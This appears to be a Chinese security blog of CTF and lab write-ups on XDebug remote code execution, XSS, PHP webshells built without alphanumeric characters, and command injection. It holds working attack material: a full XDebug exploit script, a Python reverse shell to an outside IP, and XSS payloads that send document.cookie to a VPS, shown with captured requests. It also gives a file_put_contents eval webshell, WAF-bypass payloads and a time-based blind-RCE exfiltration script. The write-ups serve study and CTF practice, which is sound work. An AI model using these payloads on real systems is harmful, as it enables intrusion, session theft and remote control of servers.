<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" encoding="base64"><![CDATA[cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9u
>> /etc/passwd
b2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAzOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwNDpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA1OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDY6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UK

反弹shell

用python反弹一下

1
2
3
4
5
6
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.110.1",9999));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

写木马

利用base64

1
2


访问shell.php 可以执行phpinfo()

这里附上 exp p神的一键脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor


pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}

def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break

while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]

if len(blocks) >= 4:
break

return blocks[3]


def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()

ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)

pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)

data = g.group(1)

try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')

结果

1
2
3
4
E:\tools\netcat>python3 exp.py -t http://192.168.110.140:8080/index.php -c "shell_exec('id');"
[+] Recieve data: <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="54" encoding="base64"><![CDATA[dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK]]></property></response>
[+] Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

参考链接

https://blog.spoock.com/2017/09/19/xdebug-attack-surface/

https://paper.seebug.org/397/

https://www.restran.net/2017/09/16/php-xdebug-cmd-exec/

https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

评论和共享

xxe

基础知识

xml 定义xml的版本和编码

1
<?xml version="1.0" encoding="utf-8"?>

dtd 文档类型定义

1
<!DOCTYPE 根元素名 [元素描述] >  文档类型定义DTD

向文档中添加实体

1
2
<!ENTITY 实体名称 "实体的值" > 内部引入
<!ENTITY 实体名称 SYSTEM "URI" >

除参数实体外,实体都以&开头 以 ;结尾

阅读全文

xss

需要掌握的基础知识点

document.cookie 用户cookie

navigator.userAgent 识别用户浏览器

btoa为js中的base64编码,atob为解码

1
2
3
4
btoa('adsda')
"YWRzZGE="
atob("YWRzZGE=")
"adsda"

盲打

no.1 可以获取想要的数据 伪造cookie等等

no.2 如果后台有限制ip为127.0.0.1才能访问的文件,可以用xss打一个ssrf 比如这样

document.createElement(“img”)

img.src=”http://127.0.0.1/admin.php?file=shell&date=phpinfo"

创建标签

document.createElement(“img”) 创建一个img标签

img.src=”http://vps_ip:9999/给标签的src属性赋值

创建一个标签,然后给这个标签的属性赋值,有两种方式

1
2
3
4
5
6
7
var iframe = document.createElement('iframe'); 
iframe.src=xss;
document.body.appendChild(iframe);

var iframe = document.createElement('iframe');
iframe.setAttribute('src',xss);
document.body.appendChild(iframe);

new Image 等效于 document.creatElement(“img”)

1
2
3
var myImage = new Image(100, 200);
myImage.src = 'picture.jpg';
document.body.appendChild(myImage);

<a>标签

1
<a href="http://vps_ip:9999/a?cookie="+document.cookie>点击抽奖\</a>

这样可以向外连VPS,但不能把cookie传出去 还没弄明白 。。

<img>标签

1
2
3
4
5
6
7
8
9
10
11
12
<script>var img=document.createElement("img");img.src="http://vps_ip:9999/cookie=?"+escape(document.cookie);</script>  这个可以把cookie传出来

结果
GET /cookie=?cookie%5Buser%5D%3Dadmin%3B%20user%3Dadmin HTTP/1.1
Host: 192.168.110.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.110.140/xss/Less-1/index.php?phone=%3Cscript%3Evar+img%3Ddocument.createElement%28%22img%22%29%3Bimg.src%3D%22http%3A%2F%2F192.168.110.1%3A9999%2Fcookie%3D%3F%22%2Bescape%28document.cookie%29%3B%3C%2Fscript%3E&submit=submit
DNT: 1
Connection: keep-alive

window.location

1
2
3
4
5
<script>window.location.href="http://192.168.110.1:9999?cookie="+document.cookie; </script>

结果 拿到cookie
GET /?cookie=cookie[user]=admin;%20user=admin HTTP/1.1
Host: 192.168.110.1:9999

iframe

iframe标签有特别多的地方可以利用

可以使用

on+++等属性,

还有src属性 src属性还支持data javascript等协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
date协议
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
这里还可以进行一下base64编码 后面的闭合标签有没有都行
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

js协议
<iframe src="javascript:alert(1)"></iframe>

http协议
我在后台放了一个admin.php 里面写着phpinfo
调用一下试试,这里得让admin来调用,要不然触发的是自己主机上的admin.php
我用虚拟机访问了一下paylaod,来模拟admin
可以触发phpinfo

payload1
http://192.168.110.140/xss/Less-1/index.php?phone=<iframe+src="./admin.php">&submit=submit

payload2 写全路径
http://192.168.110.140/xss/Less-1/index.php?phone=<iframe+src="http://127.0.0.1/xss/Less-1/admin.php">&submit=submit

还可以去手动创建一个iframe标签,利用document
if=document.createElement("iframe")
if.src=http://127.0.0.1/xss/Less-1/admin.php

写个shell试试

img标签

1
?phone=<script>var+img=document.createElement("img");img.src="http://192.168.110.140/xss/Less-1/admin.php?file=shell.php%26date=<?php phpinfo()?>";</script>

访问shell.php phpinfo成功执行

用iframe标签试试

1
2
3
4
5
6
?phone=<script>var+iframe=document.createElement("iframe");iframe.src="http://192.168.110.140/xss/Less-1/admin.php?file=shell.php%26date=<?php phpinfo()?>";</script>
这样打不通

需要把iframe添加到html中去
?phone=<script>var+iframe=document.createElement("iframe");iframe.src="http://192.168.110.140/xss/Less-1/admin.php?file=shell.php%26date=<?php+phpinfo()?>";document.body.appendChild(iframe);</script>&submit=submit
这样就可以

这里不是很明白为什么Img标签不用添加到html中,而iframe需要添加

1
2
这样也是可以的
?phone=<iframe+src="http://192.168.110.140/xss/Less-1/admin.php?file=shell.php%26date=<?php phpinfo()?>">&submit=submit

参考连接

https://v0w.top/2018/08/18/XSS%E6%94%BB%E5%87%BB%E6%89%8B%E6%AE%B5&%E5%9C%A8CTF%E4%B8%AD%E7%9A%84%E8%BF%90%E7%94%A8/#%E5%88%9D%E6%8E%A2XSS-Payload

http://www.guimaizi.com/archives/379

评论和共享

极限利用

trick

php短标签

php一共支持四种标签形式

详细内容参考http://w3c.3306.biz/php_course/show-12-17-1.html

1
2
3
4
5
6
<?php ?>  //最常用的一种形式,不解释

<?= ?> //类似于<?php echo "";?>

<script language=php> </script> //等效于<?php ?>
<% echo ""; %> //asp风格的标签

全局变量

$GLOBALS

这个全局变量数组中存放在php中的所有变量,变量名就是键名

linux glob通配符

*代表任意字符

?一个字符

命令续行符

\ 如果命令太长可以使用续行符,把一行命令拆成多行

运算

异或

相同返回0 不同返回1

取反

~

利用

shell方面

异或构造

利用异或来构造GET(因为get比post短,容易构造,当然构造Post也可以)

python脚本

1
2
3
4
5
6
arr=[chr(i) for i in range(ord('a'),ord('z'))] + [chr(j) for j in range(ord('A'),ord('Z'))]
str_list = ['`','~','!','@','%','^','*','(',')','-','+','{','}','[',']',':','<','>','.',',',';','|']
for i in str_list:
for j in str_list:
s = chr(ord(i)^ord(j))
print(i,j,s)

_GET组合

1
2
3
4
5
6
7
8
9
! ~ _

: } G

{ > E

} ) T

//:{}^}>) ==> GET

测试

1
2
3
4
5
6
7
<?php
function getflag(){
echo "success";
}
$a = $_GET['a'];
eval($a);
?>

两种方式

no.1 直接构造getflag,调用

1
?a=$_='[[]|@[['^'<>):,:<';$_();

no.2 先构造_GET,然后通过get调用getflag

1
2
?a=${'!:{}'^'~}>)'}{'_'}();&_=getflag
?a=${'!:{}'^'~}>)'}['_']();&_=getflag

如果对参数有长度有限制,第二种要比第一种好一点

进一步

构造assert执行shell

1
?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=file_put_contents('/tmp/shell.php','<?php eval($_POST[shell]);?>')

这里还有两个东西 php可变变量 复杂变量

具体参考

https://www.php.net/manual/zh/language.variables.variable.php

取反构造

参考链接

https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/

原理

1
2
3
4
5
6
>>> print("和".encode())
b'\xe5\x92\x8c'
>>> print("和".encode()[2])
140
>>> print(~"和".encode()[2])
-141

“和”的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。

1
2
3
4
5
6
7
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>

//输出 ss

python脚本

1
2
3
4
5
6
import urllib.parse
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
return hexbit
result=get('get').replace('0x','%')
print(result)

no.1 直接调用 getflag

1
2
(~%98%9a%8b%99%93%9e%98)();   //这样貌似也可以,但是我没复现出来,还是老方法
?a=$_=(~%98%9a%8b%99%93%9e%98);$_();

no.2 同样构造_GET调用

1
?a=${~%a0%b8%ba%ab}{'_'}();&_=getflag

只用数字构造

PHP中true+true==2

不为空的字符串为true,对字符串取非,在取非就能获得1

参考链接

https://xz.aliyun.com/t/5677

1
2
3
4
5
6
7
8
9
10
11
12
//构造true
var_dump([email protected]); ==> bool(false)

var_dump([email protected]); ==> bool(true)
var_dump(true+true); ==> int(2)
var_dump(([email protected][email protected])*([email protected][email protected])); ==> int(4) //使用*运算
var_dump(([email protected][email protected])**([email protected][email protected][email protected])); ==> int(8) //使用**运算符,进行指数运算,php5.6才有

chr(([email protected][email protected][email protected][email protected])**([email protected][email protected][email protected])[email protected][email protected][email protected][email protected][email protected][email protected][email protected]); ==>G
chr(([email protected][email protected][email protected][email protected])**([email protected][email protected][email protected])[email protected][email protected][email protected][email protected][email protected]); ==>E
chr(([email protected][email protected][email protected])**([email protected][email protected][email protected][email protected])[email protected][email protected][email protected]); ==>T
chr(([email protected][email protected][email protected][email protected])**([email protected][email protected][email protected])[email protected][email protected][email protected][email protected][email protected][email protected][email protected]).chr(([email protected][email protected][email protected][email protected])**([email protected][email protected][email protected])[email protected][email protected][email protected][email protected][email protected]).chr(([email protected][email protected][email protected])**([email protected][email protected][email protected][email protected])[email protected][email protected][email protected]); ==> GET

另一种构造true的思路

1
2
3
4
5
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)

结果会输出:2 1

不可见字符

1
2
3
<?php
$_ = $_GET['a'] ^ $_GET['b'];
print(urlencode($_));

_GET ^ %ff%ff%ff%ff ==> %A0%B8%BA%AB

异或两次,得到原字符

%A0%B8%BA%AB ^ %ff%ff%ff%ff ==> _GET

glob通配符

利用* ? 可以绕过waf

如果waf会检测cat等命令或者文件名,可以用* ? 通配符绕过

/bin/?at /etc/passwd 这样就可以读到/etc/passwd文件的内容

还有执行运算符`` 可以执行命令

`` ==>shell_exec

进制转换构造

36进制,由36个字符构成,0-9 a-z

可以出现字母的函数

1
2
3
4
5
6
7
8
9
hex2bin 16进制字符转到ascii字符

bin2hex ascii字符到16进制字符

base_convert 2-36进制转换

dechex 10==>16

hexdec 16==>10

貌似进制越低,长度越短

以2019国赛初赛的一道题为例

love_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

foreach ($blacklist as $blackitem) {

if (preg_match('/' . $blackitem . '/m', $content)) {

die("请不要输入奇奇怪怪的字符");

}

}

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

foreach ($used_funcs[0] as $func) {

if (!in_array($func, $whitelist)) {

die("请不要输入奇奇怪怪的函数");

}

}

eval('echo '.$content.';');
?>

这里有好几种构造方式

贴上几个

1
2
3
4
?c=${1}=base_convert(779914,10,36)^dechex(34661);${${1}}{0}(${${1}}{1})&0=highlight_file&1=/flag
rois大佬的
system(getallheaders(){9})
在请求头里加上9这个字段名 值是要执行的命令 比如9:cat /flag

这里说一下构造过程

因为36进制里面没有_GET等字符(只有36个字符0-9 a-z小写),所以要利用^,

先通过异或构造_GET

1
2
$_ = $_GET['a'] ^ $_GET['b'];
print(urlencode($_));

这里用的a=8765 b=_GET

得到gpsa 四个字母都在36进制的范围内,然后把gpsa 36转10进制

8765 16进制==>10进制

1
2
var_dump(base_convert($_GET['char'], 36, 10));  ==>779914
var_dump(hexdec(8765)); ==>34661

后面的就是通过php的一个复杂变量的调用,读文件

1
${${1}}{0}(${${1}}{1})==>${${_GET}}{highlight_file}(${${_GET}}{/flag})

记录一下小套路

其实就是要构造一个$_GET[arr]()

利用可变函数,来实现payload的执行

在还可以通过其他的全局变量$ENV $SERVER $GLOBAL $FILES 以及特殊的函数 getallheaders get_var_definded

参考链接

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.xmsec.cc/ciscn-2019-web-wp/

其他的链接都放在文中了

评论和共享

commix-testbed

Classic regular example

没有过滤 直接分割一下,读flag 注意一下编码

paylaod

1
;cat%20/flag %0acat%20/flag

Classic (Base64) regular example

输入之前的payload 提示

Please, encode your input to Base64 format.

base64编码一下

1
;cat /flag  ==> O2NhdCAvZmxhZw==

拿到flag

Classic (Hex) regular example

16进制编码一下

1
;cat /flag  ==>  0x3b636174202f666c6167

去掉前面的0x,提交

Classic single-quote example

直接用之前的payload 没显示,提交127.0.0.1 有回显

看一下源码(关键部分)

1
echo exec("/bin/ping -c4 '".$addr."'");

参数被单引号包住,闭合一下

1
%27;cat%20/flag%27

Classic double-quote example

和前面不同的就是被双引号包住,闭合一下

%22;cat%20/flag%22

Classic non-space example

过滤了空格 %0a等字符,利用${IFS}绕过

1
;cat${IFS}/flag

Classic blacklisting example

做的这题的时候,网突然卡了,我还以为碰到了个大WAF,害的我跑去看源码,

1
2
3
4
5
6
$blacklisting = array(
';' => '',
'&&'=> '',
'|' => '',
'`' => ''
);

黑名单,过滤了四个字符,没关系,分割符可以用%0a 等换行符表示

paylaod

1
%0acat%20/flag

Classic hashing example

给了一串hash ,去解密一下,一般是解密不出来的

果然,没有破解出来 看一下前面的英语,string to hash 翻译一下

原来是把输入的字符串转为hash 输入一个试试

1
1 ==> b026324c6904b2a9cb4b88d6d61c81d1

有salt 命令注入还是头一次碰到这种情况,看一下源码

1
echo exec('echo '.$string.' | md5sum');

md5sum是Linux一个hash命令

因为md5sum在exec的后面,可以利用换行符绕过

payload

1
`cat%20/flag`%0a

Classic example & Basic HTTP Authentication

弹出一个对话框,auth认证,输入一个弱密码 admin admin试试,竟然绕过了

这里竟然啥都没过滤,直接截断,读文件

1
;cat+/flag

Blind regular example

盲注型的注入

dnslog

1
2


延时注入

需要几个命令 sed cut

sed

1
2
3
4
5
6
[email protected]:~# ls | sed 1p
1.txt
1.txt
22.py
[email protected]:~# ls | sed -n 1p
1.txt

cut

1
2
3
4
5
6
[email protected]:~# whoami
root
[email protected]:~# whoami | cut -c 1
r
[email protected]:~# whoami|cut -c 1-2
ro

连起来用

1
2
[email protected]:~# ls | sed -n 1p | cut -c 1-2
1.

time rce

test.php写入

1
2
3
<?php
system($_GET[shell]);
?>

payload

1
test.php?shell=if [ $(whoami|cut -c 1) = w ];then sleep 10;fi

当猜对的时候 延时10s 猜错了 直接返回

读文件可能有特殊字符,base32编码一下

1
2
>>> base64.b32encode(b'w')
b'O4======'

payload

1
test.php?shell=if [ $(whoami|base32|cut -c 1) = O ];then sleep 10;fi

wc命令

统计字节数

1
2
3
4
[email protected]:/var/www/html$ whoami | wc
1 1 4
[email protected]:/var/www/html$ whoami | wc -c
4

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import requests

chars= "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="

def get_length(url,cmd,time):
data_length=''
for i in range(1,10):
for k in range(0,10):
url1 = url + 'if [ $({0}|base32|wc -c|cut -c {1}) = {2} ];then sleep 3;fi'.format(cmd,i,k)
print(url1)
try:
res=requests.get(url=url1,timeout=time)
except:
print(k)
data_length += str(k)
break
return data_length
def get_content(url,cmd,time,length):
result=''
for k in range(length):
for c in chars:
url1 = url + 'if [ $({0}|base32|cut -c {1}) = {2} ];then sleep 3;fi'.format(cmd,k,c)
try:
requests.get(url=url1,timeout=time)
except:
result += c
print(result)
break
return result
length=int(get_length('http://192.168.25.129/test.php?shell=','whoami',2))
result=get_content('http://192.168.25.129/test.php?shell=','whoami',2,length)
print(base64.b32decode((result)))

评论和共享

John Doe

author.bio


author.job